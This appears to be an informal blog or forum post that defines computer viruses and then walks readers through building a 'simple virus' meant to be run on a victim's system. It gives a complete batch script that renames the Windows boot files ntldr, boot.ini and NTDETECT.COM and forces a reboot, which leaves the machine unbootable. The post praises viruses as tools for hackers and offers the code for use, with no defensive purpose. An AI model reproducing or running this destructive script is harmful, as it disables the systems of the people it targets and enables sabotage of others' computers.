Well today am gonna take you all in the world of VIRUS and their uses.
A computer virus is a computer program that can copy itself and infect a computer. The term "virus" is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive.
Having read all that will surely freak you off but virus can be helpful also as they can be used by HACKERS for hacking other computers.Since you have learned all that lets start by creating a simple virus:-
The virus we are going to create today will make the victim's system handicapped as it will rename the 3 files that are necessary for system to boot up namely ntldr,boot.ini,NTDETECT.COM.In order to create the magical virus just paste these codings in notepad or write them and save it with the name of dxcore69.bat remember the extension of the file should be .bat only and then run that bat file and its all done system is now infected.
@echo off
ATTRIB -h -r -s c:\ntldr
REN c:\ntldr dxcore69ldr
ATTRIB -h -r -s c:\boot.ini
REN c:\boot.ini dxcore69.ini
ATTRIB -h -r -s c:\NTDETECT.COM
REN c:\NTDETECT.COM dxcore69.com
shutdown.exe -r -f -t 05
EXIT
THANKS FOR READING!!!!